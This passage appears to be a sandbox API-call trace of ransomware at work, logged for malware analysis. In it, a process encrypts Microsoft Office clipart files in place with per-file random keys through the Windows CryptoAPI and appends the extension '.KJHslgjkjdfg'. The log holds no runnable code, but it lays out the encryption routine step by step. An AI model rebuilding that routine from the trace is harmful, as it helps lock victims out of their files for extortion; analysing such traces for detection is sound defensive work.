WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.659] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.659] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.659] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x928, lpOverlapped=0x0) returned 1 [0192.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930, dwBufLen=0x930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930) returned 1 [0192.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x930, lpOverlapped=0x0) returned 1 [0192.660] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.660] SetEndOfFile (hFile=0x130) returned 1 [0192.662] GetProcessHeap () returned 0x2ef0000 [0192.662] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.662] GetProcessHeap () returned 0x2ef0000 [0192.662] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.kjhslgjkjdfg")) returned 1 [0192.665] CloseHandle (hObject=0x130) returned 1 [0192.666] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0192.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.666] GetProcessHeap () returned 0x2ef0000 [0192.666] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.667] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.667] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.669] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.669] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.669] GetProcessHeap () returned 0x2ef0000 [0192.669] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.669] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.669] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.669] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.670] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17ac, lpOverlapped=0x0) returned 1 [0192.670] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17b0) returned 1 [0192.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.671] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17b0, lpOverlapped=0x0) returned 1 [0192.671] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.671] SetEndOfFile (hFile=0x130) returned 1 [0192.673] GetProcessHeap () returned 0x2ef0000 [0192.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.673] GetProcessHeap () returned 0x2ef0000 [0192.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.kjhslgjkjdfg")) returned 1 [0192.679] CloseHandle (hObject=0x130) returned 1 [0192.679] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0192.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.679] GetProcessHeap () returned 0x2ef0000 [0192.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.680] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.680] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.682] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.682] GetProcessHeap () returned 0x2ef0000 [0192.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.682] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.683] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd58, lpOverlapped=0x0) returned 1 [0192.683] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd60, dwBufLen=0xd60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd60) returned 1 [0192.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.683] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd60, lpOverlapped=0x0) returned 1 [0192.683] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.683] SetEndOfFile (hFile=0x130) returned 1 [0192.686] GetProcessHeap () returned 0x2ef0000 [0192.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.686] GetProcessHeap () returned 0x2ef0000 [0192.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.kjhslgjkjdfg")) returned 1 [0192.689] CloseHandle (hObject=0x130) returned 1 [0192.689] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0192.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.691] GetProcessHeap () returned 0x2ef0000 [0192.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.691] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.691] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.693] GetProcessHeap () returned 0x2ef0000 [0192.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.693] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.693] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.694] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.694] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa4c, lpOverlapped=0x0) returned 1 [0192.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50, dwBufLen=0xa50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50) returned 1 [0192.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.694] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa50, lpOverlapped=0x0) returned 1 [0192.694] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.694] SetEndOfFile (hFile=0x130) returned 1 [0192.697] GetProcessHeap () returned 0x2ef0000 [0192.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.697] GetProcessHeap () returned 0x2ef0000 [0192.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.kjhslgjkjdfg")) returned 1 [0192.711] CloseHandle (hObject=0x130) returned 1 [0192.712] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0192.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.712] GetProcessHeap () returned 0x2ef0000 [0192.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.712] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.712] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.714] GetProcessHeap () returned 0x2ef0000 [0192.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.714] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.715] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, 